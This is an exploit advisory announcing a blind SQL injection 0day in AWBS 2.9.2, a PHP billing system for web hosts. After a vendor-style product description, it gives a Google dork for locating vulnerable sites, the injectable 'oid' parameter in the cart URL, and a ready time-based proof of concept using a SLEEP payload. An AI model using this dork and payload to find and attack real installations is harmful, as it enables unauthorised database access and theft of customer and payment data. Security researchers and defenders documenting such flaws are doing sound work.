42 lines
No EOL
2.1 KiB
Text
42 lines
No EOL
2.1 KiB
Text
AWBS 2.9.2 Blind SQL Injection 0day
|
|
=============================================================================================
|
|
Dork....: inurl:/cart?ca=add_other&oid=
|
|
Date....: 01-16-2011
|
|
Author..: ShivX
|
|
Contact.: shivanx[at]gmail[dot]com
|
|
Vendor..: http://www.awbs.com
|
|
Link....: http://www.awbs.com/packages.php?spt=10 (or demo site)
|
|
Version.: 2.9.2 (Possibly <=)
|
|
Tested..: RedHat EL 5.6 (Tikanga)
|
|
CVE.....: N/A (0day)
|
|
=============================================================================================
|
|
---Introduction---
|
|
|
|
Advanced Webhost Billing System (AWBS) is webhosting billpay software written in PHP.
|
|
AWBS includes a complete frontend written in XHTML/CSS. This frontend can be used as your
|
|
website or in portal mode as a separate client portal and allows for full customization of
|
|
its look.
|
|
|
|
AWBS will communicate to your configured payment gateway(s) to perform live payments while
|
|
customers place orders. Once orders are placed, AWBS will then communicate to your configured
|
|
registrar, hosting server or reseller hosting account to complete the orders automatically,
|
|
then send your configured email(s) to the client(s).
|
|
|
|
AWBS will:
|
|
- Generate invoices and email your clients notifying them a payment is due.
|
|
- Automatically charge account balance or credit card on file on the invoice's due date.
|
|
- Notify clients if the credit card on file is expired or declined.
|
|
- Send domain renewal notices and automatically renew domains.
|
|
- Suspend or unsuspend hosting accounts when a payment is not made or paid.
|
|
|
|
The AWBS backend (admin interface) provides you with a quick and easy 'check in' homepage so
|
|
you can find new orders, helpdesk tickets, contact form submissions, affiliate signups,
|
|
overdue invoices, errors that may have occurred, and basic sales stats.
|
|
=============================================================================================
|
|
---Vulnerability---
|
|
|
|
http(s)://[HOST]/cart?ca=add_other&oid=[TRUE VALUE]'[BLIND-SQL]
|
|
=============================================================================================
|
|
---PoC Using Time-Based Blind SQL Injection---
|
|
|
|
https://www.vulnerablehost.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)=' |